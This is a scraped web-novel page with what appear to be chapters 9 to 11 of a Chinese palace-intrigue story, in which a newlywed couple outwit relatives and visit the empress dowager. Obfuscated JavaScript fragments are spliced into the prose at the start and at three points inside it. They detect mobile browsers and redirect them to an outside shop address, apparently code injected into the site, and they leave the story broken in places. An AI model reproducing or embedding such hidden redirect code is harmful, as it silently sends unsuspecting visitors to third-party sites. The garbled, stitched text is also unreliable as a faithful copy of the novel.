l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788262|210255||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p> “娘知道你不服你大哥,可是灵姐儿,说句实在话,你大哥这些年也没亏待过你,你不得罪他的话,日后若是有事,想必他也不会见死不救。”孙姨娘苦口良心的低声对她劝道,恨不得把这些道理给掰碎了喂到她嘴里,“你二哥虽然才是王爷王妃亲生的,可他毕竟是个不成器的,日后哪怕继承了王府,也不见得多靠谱。你也知道,你大哥又是个聪明人,日后哪怕不继承王府,靠自己也不会过得差,你何必在这犟?” 祁舒灵依旧垂着头不说话,她的表情依旧不太服气,心里也不服气,但又说不出哪里不服气,最后只能归根于大哥不是亲生的。她其实很清楚,姨娘说的都是对的,可她……就是不舒服! “跟你说话呢!又犟什么?”孙姨娘见她半天没反应,也没了耐心,气的抬手一巴掌拍到她额头上。 “诶呦!”祁舒灵捂着自己的额头,扁着嘴说:“姨娘,再打要傻了!” “我看你就是个傻的!”孙姨娘恨铁不成钢道:“我刚刚说的,记住了吗?不论是大公子还是你那个二哥二嫂,都给我离得远些,别去招惹,记住了吗?!” “知道了知道了……”祁舒灵捂着自己的额头转身,撇撇嘴不服气地点头,“我记着了,姨娘你别再念了。” “嘿!你个皮猴!”孙姨娘作势又要打她,祁舒灵一下子蹦开然后头也不回的往前走,嘴里喊着:“姨娘我饿了,我要回去吃东西!” 孙姨娘拿她没办法,看着她一点都不淑女的走姿,心累地叹了口气。 “走慢点,别摔了!” “不会的!” 话分两头,祁云羡和林观月并肩走在回秋水苑的路上,林观月依旧按照她的频率,走得不紧不慢,祁云羡跟在她身旁,与她并肩。 “你胆子真的很大,第一天就敢在王爷王妃面前说谎。”祁云羡说。 “哦,是吗?我怎么不知道我说谎了?” 祁云羡瞬间停住了脚步,林观月往前又走了两步也跟着停下,她转过身来看向祁云羡问:“二公子,不走了吗?” 祁云羡看着面前的女人,她很完美——姿态完美、表情完美、连嘴角的弧度都是一个完美的状态。 这样的人本就与他截然相反,是她最厌恶应付的那一类人,可现在这样的人却偏偏成了自己的妻子。 祁云羡烦躁地蹙起眉,紧紧盯着林观月,语气也不太好:“你分明就是说谎了!还不止一个!你对王妃说的迟到的原因是你编的吧?我根本就没有对你说过什么请安的时间推迟的事情!还是你说什么我的梦话,这分明也是假的,你还敢说没骗人?!” 林观月同他对视几秒,嘴角是弧度都未曾改变,祁云羡是越看眉间是痕迹越深。 “二公子,谁能证明呢?” “什么?”祁云羡脸上划过一道茫然,林观月便上前走了一步,抬起头同祁云羡对视,再次重复:“我说,你说的这些,谁能证明是谎言呢?” 9. 不争 祁云羡先是茫然,紧接着就是愤怒,“什么谁能证明?我不就能证明吗?你说的两个谎话都跟我有关,我还不清楚吗?” 林观月没什么反应,反倒点点头说:“这两件事确实都与二公子有关,但是二公子你……真的能证明吗?” 林观月又往前一步,紧紧盯着祁云羡的眼睛,明明是笑着的,但祁云羡却觉得汗毛炸立,渗人的很。 “什么怎么证明?!小爷我怎么不能证明?!” 祁云羡睁大眼睛紧紧盯着她,林观月同他对视片刻,随即主动后退一步,同他拉开距离。 “假如就按二公子所说,我的第一个谎话是骗了父王母妃迟到的理由。可是二公子,你真的能证明吗?”林观月轻轻扬了扬唇角,眼神戏谑又意味深长地看着他,“我有没有听到女婢们的闲言碎语,你怎么知道?假如我真的听过呢?二公子能证明的,只有你自己没有说过请安时间的话,可二公子,我们迟到,原因在你,故而我猜,你不会说。那既然你不会说,你又要如何证明呢?” 林观月这一大段话把祁云羡绕晕了,什么他说他不说的,这要证明什么?所以他蹙着眉问:“你到底想说什么?” 林观月却缓缓摇了摇头,随即抬眼看他,嘴角带笑但眼神却带着认真。“二公子只需回答我的问题。” 祁云羡紧紧蹙着眉,他与林观月昨天是第一次见面,可短短不到一天的时间,他便知道林观月心思深,不是个普通人。面对这种人,他也懒得猜对方的心思,所以他没有思考,直接回答:“那些婢女们不也可以证明?” “是吗?” “你到底想说什么?”祁云羡不耐烦道。 “二公子不必着急。”林观月语气入山间清泉,缓缓抚过心尖:“按照二公子所说,那些婢女们可以证明,但二公子,你知道是哪些婢女吗?你能找到吗?” 祁云羡眉头紧皱,林观月继续娓娓道来:“王府上下几百口人,昨日大婚,经过我身边的婢女没有一百也有几十,而且大多来自不同的岗位,更不要说他们各种背后都还有不同的主子,二公子想要找到有没有这些人,可能吗?假如我说的是真的,也给你指了出来,但对方不承认,二公子又该如何?你说到那时候,王爷王妃是信我,还是追究到底?” 祁云羡眉间的痕迹渐渐舒缓,随着林观月的话,他也慢慢开始思索起来。不得不说,林观月说的对,她说的这个谎,没有任何人能够证明。 “至于二公子所说的第二个,那就更没人能证明了,毕竟昨天晚上屋内只有你我二人,二公子又睡着,自然只有我能听到,我说,我真的听到了二公子的梦话,二公子为何不信呢?”林观月笑语嫣然地看着祁云羡。 “胡说八道!”祁云羡听她这话又炸了毛,“我怎么可能说那种梦话?!” “怎么不可能呢?”林观月淡淡反问 。 “当然不可能!我怎么可能在梦里唤他们,我根本就……” “二公子!” 祁云羡再次被林观月打断,她看着他,依旧是笑着的,眼神意味深长。 “所以二公子,你明白了吗?” “……什么?” 林观月缓缓摇头,“二公子好好想想,我刚刚说的那些话,希望晚上,你可以给我答案。” 林观月转身就走,侍书入画从祁云羡身侧绕过,对他福了福身子便跟上林观月的步伐,提留下一脸茫然的祁云羡和身后一脸心思的长喜。 “我要明白什么……”祁云羡喃喃道。 “二公子,早些回去吧,我们还要进宫呢!”林观月的声音从前方传来,祁云羡抬眸看去,就见她站在拐向秋水苑方向的拐角处等他。祁云羡摇了摇头,将脑海中的思绪暂时放一边,抬脚走了过去,直到二人再次并肩。 …… 青梧院 祁云琛一路快步走回青梧院,崔令仪被落在后面,等她回来的时候,便见祁云琛端坐在太师椅上,除了脸色还有些紧绷,刚刚的那身怒气已经见不着多少了。 “大公子一路走的好生快,我都追不上了!”崔令仪站在门口抬声道,语气微微抱怨,看向祁云琛的眼神却像是撒娇。 祁云琛听到声音抬眸看去,面上紧绷的神情散去,被一种宠溺无奈所取代。他起身去拉崔令仪,温声哄道:“是我的错,一时被气昏了头,落了你的面子,我在这里向你赔罪,还望娘子宽恕我则个。” “好了~”崔令仪捂嘴轻笑,拉着人让他也坐下,像哄小孩一样哄他:“我理解的,也没有生气,所以夫君也不要生气了好吗?” 祁云琛无奈摇头轻笑,“你啊~怎么跟哄小孩一样?” 崔令仪轻轻嘟嘴,身上对外时的礼仪风度都消失不见,像个被娇宠的小女孩一样,“那怎么了?我哄我自己的夫君,不可以吗?” 祁云琛看着她嘴角扬起宠溺的笑容,他抬手牵着崔令仪的手,将她拉到怀里,然后让人坐在自己腿上,用胳膊圈住。 “干嘛~”崔令仪脸蛋红了红,抬手推了推他,有些不好意思低头喃喃道:“还有人呢~” 祁云琛抬眼扫了一眼,一边侍立着的女婢们便识趣地退了出去。 “好了,现在没人了。”祁云琛捏了捏崔令仪的脸颊,换来对方嗔怒的一眼,然后他便得意地笑了笑。 “就会欺负我!”崔令仪没什么威胁地瞪了他一眼道。 “我哪敢~”祁云琛一脸冤枉,“我分明最爱娘子了。”又将崔令仪惹得脸红心热。 “好了,不闹了。”祁云琛抬手抚了抚崔令仪的脸颊,低叹一声说:“今日见面,你觉得二弟妹是个怎样的人?” 崔令仪抬手落在他的手腕上,垂眸思索道:“今日二弟妹的几句话,不但揭过了敬茶迟到之事,更是缓和了二弟和父王母妃的关系,引起了二老的愧疚之心……由此可见,二弟妹不是个简单人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788263|210255||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “你说的没错,今日一见,她不但是个聪明人,还是个有野心的,否则也不会在琼华院门口便让我下不来台。”祁云琛点点头道,他收回手,转而将崔令仪的手握在手中,看着她语重心长道:“相比日后,对方少不得要与你对上,你万万要小心。” 崔令仪安抚地朝他一笑,“夫君不必为我担心,二弟妹虽然聪明,但她毕竟之前不在京城,出身也一般,母妃不会越过我而将管家权下放给她的。” “话虽如此,但二弟毕竟才是父王母妃的亲生儿子,他日后才是王府的主人。可二弟的性子你也知道,他恨我入骨,一直觉得是我占了他的位置……不过这也不要紧,毕竟我确实享受了他的位置很多年,但我就怕……你跟着受苦。”祁云琛这番话说的情真意切,他拉着崔令仪的手,真挚地看着她说:“令仪,我当初求娶你之时,在老师面前发过誓的,我说过一定不会让你受委屈,会让你过上好日子,但我……” “云琛哥哥!”崔令仪反握着他的手,打住了他未说完的话。她说:“云琛哥哥,你这话说的不对。夫妻夫妻,夫贵妻荣,夫贱妻卑。我既然嫁你,自然要与你同甘共苦,更何况人生百味,哪里能事事顺心?” “你说的这些我知道,但是令仪,我不想你跟着我吃苦。”祁云琛叹了口气说:“其实之前,我是打算入朝后便离开王府,自力更生,免得父王母妃和二弟因我不和。但是令仪,你出现了。我想和你在一起,所以我就必须要宣王府大公子这个身份!说我贪图富贵也罢,说我舍不得王府权势也罢,总而言之,我不能让你因为嫁我,便吃苦受罪,我希望你嫁给我之后,还是那个名满京都,令人羡艳的崔三小姐,外出参加聚会,不会让人因为我而诋毁你,嘲笑你。令仪,你明白吗?” 崔令仪满脸动容,看着祁云琛的眼神满是心疼。她说:“云琛哥哥,我都懂,可我不在意那些的。” “可我在意!”祁云琛满脸心痛,大声反驳。 崔令仪静静看着他,随即轻轻弯了弯唇角,温柔道:“那便去在意吧。云琛哥哥,虽然二弟才是父王母妃真正的儿子,但你也是在他们身前长大的,就算不能继承王府,你也是名正言顺的王府大公子!更何况,二弟当年走丢又不是因为你的原因,甚至你的出现还陪伴安抚了当时的王妃,你不需要亏欠任何人!” 她说:“云琛哥哥,世家子弟的培养,家主之位向来都是能者居之,你凭什么不能跟他们争一争?你明明比他们都优秀!” 祁云琛瞳孔微颤,他看着崔令仪,随即把人拥入怀中,叹然一声:“得妻如此,夫复何求啊——” 崔令仪也伸手抱住祁云琛的腰,将脸颊贴在他的胸口,说:“云琛哥哥,我会一直陪着你的。” “嗯,我知道。” 崔令仪听见声音,满足地笑了笑,乖顺的待在他的怀里,而祁云琛的眼神则是渐渐深了下来,可手上的动作,却轻柔细致,处处妥帖。 10. 认可 “令仪,我还有些公务要忙,中午回来陪你吃饭。”祁云琛松开崔令仪对她说道。 祁云琛已经入朝为官了,现在任秘书省校书郎,虽不是什么高阶职位,但胜在清贵。 “啊?今日不是请假了吗?”崔令仪有些不开心,祁云琛便笑着摸了摸她的头安慰道:“虽然请假,但该做的事还是要做的。” “那好吧……”崔令仪也只得收起自己的不舍,重新恢复在外的端庄模样,起身帮他理了理衣服上的褶皱,说:“那你去忙吧,我中午等你回来吃饭。” “嗯。” 祁云琛拍了拍她的手,随后起转身离开。走到门口,在外侯着的陆慎立马跟了上去。 “大公子。” 祁云琛脚步不停,直到离开了一段距离,他才低声吩咐:“派人去查一查林观月的底细,越详细越好。” “是。” …… 林观月的一番话将祁云羡搞得满头疑惑,直到二人坐上进宫的马车,也没想出个所以然来。 他懒散地靠在马车上,抬手摸着下巴摩挲,眉间轻轻蹙着,一副陷入沉思的模样。可若仔细观察,就会发现,他的那双眼睛十分清澈。 林观月对他的这幅模样并不搭理,她坐在马车一侧,抬手撩起窗帘,探头看向外面的街景。祁云羡一抬头,看到的就是这幅景象。他索性放下手,也不思考了,下巴微抬问她:“喂,你在看什么呢?” 林观月不语,依旧兴致勃勃地看着窗外的街景,好似没有听见。 祁云羡蹙眉,有些不爽地再次提声询问:“喂!林观月!我在跟你说话呢,你聋了吗?!” 林观月这次才有了反应——她放下窗帘,扭头看向祁云羡,故作惊讶道:“二公子是在跟我说话?” “不然呢?难不成这车里还有第三个人?!” 林观月则是轻轻笑了笑说:“抱歉,我还以为二公子是在自言自语呢,毕竟,二公子并没有叫我。” 祁云羡被她噎了回来,想说些什么,可又想到自己确实没有叫她的名字,便讪讪转移了话题。他不自在地轻咳一声,随机看向窗口方向问:“那个,你刚刚看什么呢?” “外面是街道,我自然是在看街景。” 祁云羡闻言挑了挑眉,眉眼间划过一丝不解,“街景有什么好看的,数年如一日。”罢了,又嘟囔一句:还以为你看见什么有意思的东西了呢?” 林观月淡淡弯了弯眉眼,说:“二公子有所不知,我不常在京城,故而这些对你来说数年如一日的东西,于我而言,确实新鲜。” “不常在京城?”祁云羡又不理解了,他问:“我记得西平侯府不是在景安大街的延宁巷住着吗?为何你会不常在京城?” 林观月听他这么问也是一愣,随即低头无奈轻笑。看来自己这位新夫君是一点也没打听过自己未来的新娘子啊! 林观月说:“看来二公子对我是一点都不好奇啊。” 她的语气不重,却暗含调侃之意,让祁云羡有些不好意思地摸了摸鼻子,眼神飘忽开来。 成婚之前,祁云羡一门心思想的就是怎么破坏这么婚事,后来得知不行,也是打定主意要把对方当空气,所以从头到尾,祁云羡就知道自己未来夫人是赐婚圣旨上写的“西平侯府二房嫡女”,至于林观月此人如何,那是一概不知的。 此时被林观月这么看着,也有些不好意思。但祁云羡这人最会的就是倒打一耙。所以他梗着脖子反问:“难不成你对我很了解吗?” 林观月饶有其事地点点头道:“还行吧,毕竟二公子的纨绔之名传遍京城,我想不知道都难。” “切~”祁云羡轻哼一声,“那是小爷我名气大!” 林观月捂嘴轻笑,并不接话。祁云羡见状也轻咳一声道:“你笑什么?我说的又没错!咱俩这婚事既不是你所愿,也不是我所愿,稀里糊涂被一张赐婚圣旨给绑在一起,不逃婚那都是‘皇命难违’,哪里来的兴趣去打听对方啊?不然你说,要不是小爷我名声太大,你难道就了解我吗?” 林观月轻轻摇头,但笑不语,而祁云羡便认为她是认同了自己的说法,刚刚的别扭憋闷一扫而散。他下巴微抬,语气透露着些八卦的吊儿郎当,“那你到底为什么不在京城啊?” 林观月抬眸看着他那双眼睛——眼尾自然上扬透露着些少年意气,里面又亮晶晶地藏着名为“吃瓜”的好奇,显得整个人十分孩子气。 她无奈地弯了唇角,随即看向他薄唇轻启:“二公子可知我的舅舅是谁?” “我怎么会知道你舅舅是谁?!”祁云羡理直气壮,不过林观月也没指望他知道,反倒娓娓道来:“我的舅舅叫覃文瀚,是一名商人,平日里便走南闯北,到各处做生意。而我自十岁之后便开始跟着舅舅学做生意,后来更是四处行走,非逢年过节,一般不会回京。” 她看着祁云羡笑盈盈道:“事实上,接到你我被赐婚的消息时,我正在江南的茶楼里点茶听雨,好不惬意呢。” 接到林观月略带幽怨的眼神,祁云羡也有些难得的愧疚,有一只自己破坏了人家的好日子的感觉。但随后,林观月的话又在他脑海里过了一番,突然,他的眼睛睁大,惊讶地看向林观月问:“姓覃?你舅舅家不会是那个大胤第一皇商覃家吧?!” 林观月但笑不语,祁云羡便当她是默认了,一时心中思绪万千——没想到他一个穷光蛋竟然娶了个有钱媳妇,还不是一般的有钱!这该不会是皇祖母心疼他才特意凑成的这桩婚约吧? 祁云羡越想越觉得可能,不然八竿子打不着的两人为何会被突然赐婚?那不明显是皇祖母心疼他过得太差,所以特意找皇帝舅舅给他挑了这么个又有钱又会赚钱的夫人,以免他又过上苦日子。 祁云羡心中感动着太后的一番舐犊之情,一边又悄悄瞄了两眼林观月。看向她的眼神忍不住带上了愧疚——这么说来,也是我连累了她。祁云羡想道。 林观月被他的眼神看的毛毛的,忍不住往后挪了挪,脸上的端庄平静也散了去,蹙眉道:“你什么眼神?!” 祁云羡被抓包也连忙收敛了脑海中的思绪,清了清嗓子,故作平静道:“没什么,就是惊讶一下,怪不得你的嫁妆那么多。” 林观月狐疑地看了他一眼,但也没再深究,只当他是发神经。她说:“嫁妆丰厚又‘不安于室’,你等着吧,以后少不得有人要揪着我这些说事。” 祁云羡闻言不在意地轻嗤一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804898|210255||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “一群面慈心黑的主,连自己的日子都过不好还要盯着别人,你管他们作甚。” 林观月意外地看向他,把祁云羡看的浑身不自在。 他问:“你干嘛?” 林观月摇摇头,看向他有些疑惑问道:“没什么,只是……当今时代大多提倡女子要足不出户、谨遵闺训,我不但四处游走,还抛头露面的,你……不觉得丢人吗?” “这有什么丢人的?你往街上看看,摆摊做生意的女子大有人在,他们觉得丢人了吗?” 林观月盯着他又道:“可她们大多都是妇人,未婚女子少之又少。” “那又如何?”祁云羡略带鄙视地看了她一眼说:“我还以为你有那走南闯北的胆量和经历,会比一般人要通透些,没想到也是被那些文人给荼毒的不轻。你既四处游走,难道就没有见过,在那远离京城的穷苦小地方上,街上做生意和地里耕田的,女子一点都不少。甚至有些人家里,男人死了,女子也依旧可以撑起一家老小!同样是人,两条胳膊一张嘴,都要吃饭都能干活,女子同男子有多大分别?也就是京城这种规矩遍布的富贵窝里,那些小姐们被像个娇花一般养着,束缚在条条框框里,明明自己是个蠢货,却偏偏还自以为是地瞧不起那些自力更生的女子,简直蠢笨如猪!” 祁云羡这番话说的轻蔑至极,语气里的嘲讽毫不掩饰,甚至看向林观月的眼神都带上了些轻视。但对此,林观月却没什么反应,她沉默着,眼神略微复杂地看着祁云羡,久久无言。 “你看我干嘛?”祁云羡以为她生气了,毫不客气反问道。 林观月轻轻摇头,没说什么。她能说什么呢?说他说的不对吗?可他明明说的很对!对的不像从一个这个时代的男子口中说出来的话,对的……让林观月心情复杂…… 来到这个世界快二十年了,即使是她,也快要适应这里的条条框框,可骤然间,听到一番即使在后世也很难从一个男人口中说出的话,从一个本土的封建王朝的王府嫡子口中说出……这其中带给林观月的惊讶和复杂,是没办法形容的。如果非要她说,林观月只是突然间很庆幸,她的成婚对象,是祁云羡——一个性格顽劣却人品不错的人——即使这场婚姻只是一场交易。 林观月缓了缓心神,随即看向祁云羡的眼神真实了不少,嘴角的笑也真切了不少。她说:“没什么,只是突然觉着,二公子人还不错。” 祁云羡轻哼一声,“那是当然,小爷我那是英俊潇洒、玉树临风、善解人意、知情知趣,可谓‘京城一枝花’!” 林观月看着他这幅得意的模样,脸上的笑又真切了不少。她看着祁云羡道:“二公子说的不错,那么从今天起,我们就是战友了。” 祁云羡看着林观月,感觉她有些东西变了,可又说不出来那是什么,索性不再追究。他轻哼一声,“本来不就是吗?” 林观月愣了一下,嘴角的弧度又深了几分。她不禁点点头说:“对,本来就是了。” 祁云羡抱着胳膊没理她,可随即的,他轻轻偏了偏头,一边的嘴角忍不住上扬了几分。 空气中有些什么东西悄然改变,而车厢内的二人,一个清楚却乐见其成,一个懵懂却乐在其中。 …… 11. 进宫 宣王府离皇宫不远,二人很快便到了地方。 东华门门口,二人一下马车,就见一个太监候在那里,林观月没有见过对方便没有贸然向前,而祁云羡则是一脸惊喜,快步走上前道:“陈公公,你怎么亲自来了?” 陈公公名为陈福海,是皇帝身边的心腹大太监,之前他们二人的赐婚圣旨,便是他带人去宣的,只是因为林观月不在京城,故而没有见到对方。 陈福海见到祁云羡,同样是一脸欣喜,“诶呦”一声便道:“我的二公子啊,你可来了!太后娘娘从早晨就开始念叨您,这不,陛下这就让我来接您了。” 祁云羡意外,“皇伯父和皇祖母在一起?” “可不是嘛,此刻陛下和皇后娘娘都在慈宁宫,就等着你们了!”陈福海解释一番,随后目光又落在祁云羡身后的林观月身上,“诶呦”一声,用那种夸张的语气夸赞道:“这位想必就是二少夫人了吧?真是玉容雪靥、皎月凝容,跟那天上的仙女儿似的!” 林观月也不是不识趣的人,她主动上前几步,微微颔首笑道:“陈公公谬赞。” 陈福海不动声色地上下打量一番,脸上的笑又真切了几分,他看向祁云羡道:“二公子,这时辰也不早了,陛下太后还在等着呢,咱就走吧?” 祁云羡果断点头,“行,那咱们赶紧走啊!” 说着,祁云羡就大步走在前面,陈公公在后面吆喝一声:“二公子,慢些,别走岔了!” 祁云羡头也不回地摆摆手,但步伐也慢了些,二人见此皆是无奈。 陈福海侧过身给林观月让出道来,微微抬手指引,“二少夫人,这边请。” 林观月微微含笑致意,“麻烦陈公公了。” “不敢。” …… 此刻的慈宁宫,天底下最尊贵的三人皆在其中——最上首的皇帝正拿着一卷书翻看,身侧的茶从未凉过,时不时端起来轻啄一口,便又将视线落回书页上;皇后坐在下首,手中拿着把扇子轻轻摇着,神情宁静自若;而同样坐在上首,在皇帝旁边的太后则是一脸焦急,时不时往外探看,这不,当下又急了。 “这怎么还不来……春芳,你再去看看。” 一旁的春芳姑姑刚要应是,就听一旁的皇帝轻叹一声,放下书册看向太后,无奈道:“这不是刚出去看过?再说了,朕不是让陈福海去迎人了吗?” 太后一听这就不乐意了,轻哼一声说道:“你懂什么?羡儿本就不满这桩婚事,这么久不来看我,也不知是不是生气了……” 说到这而,太后就又瞪了皇帝一眼,语气微微埋怨:“都怪皇帝你,好端端的,非要赐婚!赐婚也就罢了,还不让羡儿进宫,也不知他是不是在心底怪我这皇祖母呢……” 听着太后这一番话,皇帝无奈叹气,眼神落在下方的皇后身上,只见她扇着扇子四处瞟,就是不忘他们这边看,一整个心虚模样!看的皇帝又叹了口气。 他看向太后说:“母后,这阿羡年岁也不小了,迟早是要成婚的,再说这西平侯府二房嫡女……” 皇帝声音拖了拖,眼神看向皇后,才又说完后半句,“性格娴雅、端庄大方,同阿羡多配?” 这话说的有些奇怪,像是在模仿别人的话。皇后听闻后,身体僵了下,也不好继续当没听见,心虚地朝皇帝看了一眼,透着些可怜。 皇帝摇摇头,再次看向太后道:“更何况,又不是我不让阿羡进宫,那分明是珩弟不想让他见您!” “那你也是包庇!”太后并不接受他这个说法,毕竟这是皇帝亲自赐的婚。更何况,她压根不认识那什么林观月,在她眼里,一个落魄侯府的嫡小姐,还不是大房的,哪里配得上她的羡儿? “也不知皇帝你是怎么想的,给羡儿赐婚还不找个世家贵女!”太后的语气中尽是不满,皇帝对此也只是叹气。 当今太后并非先皇后,而是一介婕妤,只因先皇在世时,皇后与宸妃斗的太过,导致后宫子嗣凋零,不然最后这皇位,也落不到祁骁身上。 不过要说这上一辈的事,那也是一摊烂账——先皇在时,偏宠宸妃,养大了她的野心,害得先太子早逝。自此,皇后与宸妃二人开始了长达十多年的争斗,直到先皇临终之际,才突然发觉,这皇位人选已经没什么人了。然悔时晚已,只得草草传位。故而祁骁登基时,还收拾了好一番烂摊子。 若要祁骁说,他觉得自己是该感谢这个宸妃的,毕竟若是没有她,这个皇位也轮不到自己,但……先皇临传位前让他善待宸妃,并留下旨意要和宸妃合葬。可他在先皇头七还没过的时候,就设计让宸妃病逝,而后按照先皇旨意,将二人公葬。 若有朝一日,先皇的棺椁被打开,或许能够看到亲密的帝妃二人,只是棺椁中,或许会有些吓人。 至于先皇后,祁骁对她没什么恶意,好好将人以皇后之礼葬在了离先皇有一定距离之地,又亲自写了墓志铭,也算是全了她的体面。 而这些事,连太后都不清楚。 祁骁之所以这么恨宸妃,不仅是因为她惑乱后宫,欺辱过他们母子,更因为,当初若不是她对他下毒,珩弟也不会因为误食本该给他的糕点,而一条腿留下问题,成了跛子! 他的珩弟文采斐然,本该是翩翩如玉佳公子,可如今却落得个“跛腿王爷”的恶名,这一切,都是因为她!祁骁恨不得将她碎尸万段! 也因为这个原因,皇帝和太后都十分宠爱宣王,而祁云羡身为宣王唯一的嫡子,长得还像极了宣王,又走丢那么些年,更是让太后心疼不已。故而若问当今太后最宠爱哪一个小辈,必定是祁云羡无疑。 但这些都是往事了,知道的人不多,而皇帝作为其中最清楚一切的人,对于祁云羡,也是有几分爱屋及乌之情,故而,当皇后提议让他给祁云羡和林观月赐婚时,略微思索了一番,便答应了。 虽说这桩婚事牵扯了许多利益算计,可于这二人来说,未必不是一件好事。祁骁希望他们能够从其中得到的,不只是算计。 说远了,话说这边太后正又催促着春芳姑姑去看看,就听见祁云羡的声音从外面远远传来——“皇祖母!皇祖母!我来了,你想我没有啊?!” 听见这熟悉的叫声,刚刚还一脸不乐意的太后瞬间眉开眼笑,看着祁云羡的身影走进来,就忙着叫人:“我的羡儿啊~你可算来了,快来让皇祖母看看。” 祁云羡先是站定,拱手行了个略显潦草的礼,“宥之拜见陛下、太后娘娘、皇后娘娘。” “阿羡快起吧,要不然,你皇祖母真要跟我生气了。”陛下摇头轻笑道。 祁云羡笑嘻嘻直起身,“陛下分明也是心疼我,何必拿皇祖母作伐!”说完,就来到太后面前蹲下,像个小狗一样撒娇,“皇祖母,这么久没见,你想不想我啊?” 他这张嘴向来无拘,哪怕在皇帝面前,也是那副模样,不过好在在场几位主子都算他长辈,故而对他也是宠溺居多,皇帝笑着摇摇头,也没说什么。 “当然想。皇祖母快想死你了。”太后抚摸着他的头道。 “皇祖母骗人!你都不让我进宫,分明就是骗人!”祁云羡嘟着嘴像个小孩子一样闹脾气,让太后连忙解释:“这可不怪我,分明是你皇伯父不让你进宫。” 话音落下,祁云羡幽怨的眼神就看向了皇帝,也不说话,就那么看着他。 皇帝被他看到心虚,将求助的目光投向皇后,谁知皇后又拿起了她那把扇子开始看天看地,总之就是不看他,把他气的够呛。 一群不靠谱的,什么事都让他背锅。他心累地叹了口气,随即看了看门口,转移话题问道:“阿羡,你的夫人呢?还有陈福海,他不是去接你们了吗,没遇到?” 祁云羡看了他一眼也乖乖回答:“在后面呢,陈公公带着林观月走得慢,我想皇祖母了,所以跑得快,他们跟不上。” 这话又让太后心花怒放,眼角的皱纹已经挤成一团,却也毫不在意,“真是哀家的好孙子!” 正说着,陈福海的都声音就传了过来——“二少夫人,这边请。” 随后,陈福海走进来,而他身后不远处,跟着一位竖着妇人髻的女子。 大殿一时安静下来,几位主子都将目光投向进门的女子身上,皆是一番打量。 林观月能感觉到殿内的目光都向她看来,但她并没有放任自己的好奇心抬头,而是恪守礼仪,微低着头走到大殿中央,规规矩矩地跪下行礼,“臣妇林氏,拜见陛下、太后娘娘、皇后娘娘。陛下万岁万万岁,太后娘娘、皇后娘娘千岁千岁千千岁。” 皇帝没有及时让她起身,大殿一时便安静了下来,来自各方打量的目光皆看向殿中央跪拜的女子。 林观月进宫前特意换了一身装扮,此时的她身穿一身绣着绿竹的松绿色长褙子,搭配浅青色长裙。这一身虽然看上去清雅,若但仔细看,便能看出这衣服料子用的乃是软烟罗——连后宫都嫔妃一年都不见的能得到一匹的御供布料。 林观月虽然在样式力求低调素雅,连头上的银丝缠纹团冠和玉簪子看上去也毫不起眼,只有识货的才能看出其中的价值,但好巧不巧,在场的三个主子都是天底下极其尊贵的人,什么好东西没见过,自然也就练就了一双眼力。 皇帝表情平淡,仔细看倒像是在发呆,而皇后也面色如常,唯有太后,轻轻蹙了蹙眉,眼底略微带上了些不满。 其实太后倒不是对她的穿搭不满,而是这些东西提醒了太后林观月的身份,这才是令太后不满地原因——在太后心里,祁云羡配得上世上最好的女子,然而林观月却只是一个落魄侯府的二房嫡女,舅家还是行商的,站在祁云羡身边,难免有些不够看了。 然而这些,祁云羡毫不知情,他也不知道大殿里为何气氛怪怪的,只是看着依旧跪着的林观月,轻轻张嘴提醒了一句皇帝,“皇伯父!” 皇帝收回思绪,先是看了一眼祁云羡,触及对方眼底的催促之意时,微不可察的弯了弯唇角。他将目光再次落回大殿中央的女子身上——即使半天没让起身,她依旧动作完美,毫无差错,甚至没有丝毫抖动的痕迹。 确实是个不简单是丫头……皇帝收回心中思绪,清了清嗓子抬手说:“起来吧。陈福海,看座。” “谢陛下。” 林观月起身坐在另一边,这才抬眸悄悄打量了一番这世间最尊贵的三个人——当今大胤皇帝祁骁是个略显清瘦的中年男人,他的长相同宣王很像,但却没宣王那般儒雅隽秀,气质上也多了些威严; 坐在皇帝身旁的是太后,保养还算得当,即使五十多岁了脸上也没有很多皱纹,只是看她的眼神略微带了些不满; 坐在皇帝下首,也就是林观月斜前方的便是当今皇后楚明姝。听名字也能听出来,当今皇后和宣王妃是嫡亲姐妹,只是这二人长得并不相似,就连气质也截然相反——楚明姝的脸偏圆,看上去可爱娇憨,但她身上却有一种英气,而楚明媛虽然长相更加英气,却十分恪守规矩,有些死板沉闷。故而楚明姝明明是姐姐,看上去却比楚明媛要年轻几分。 林观月快速扫过一边,在心底有了大致判断。 “林氏。” 太后突然叫人,林观月连忙抬眸看向太后,做出一番虚心听教的姿态。 “听说陈公公去西平侯府宣旨的时候,没有见到你,此话可真?” 太后话音刚落,祁云羡就拉了拉太后的衣袖,低声说:“皇祖母!” 太后不为所动,安抚地拍了拍他的手,却依旧把视线落在林观月身上,他只得将目光投向另外二人。 只能说这帝后不愧是夫妻,一个喝茶一个扇扇子,如出一辙的姿态,就是不看他,气的祁云羡够呛。 他“哼”了一声,随后有些担忧地看向林观月,心中默念这:林观月,你行不行啊?既然你能应付王爷王妃,那应该也能应付的了皇祖母吧…… 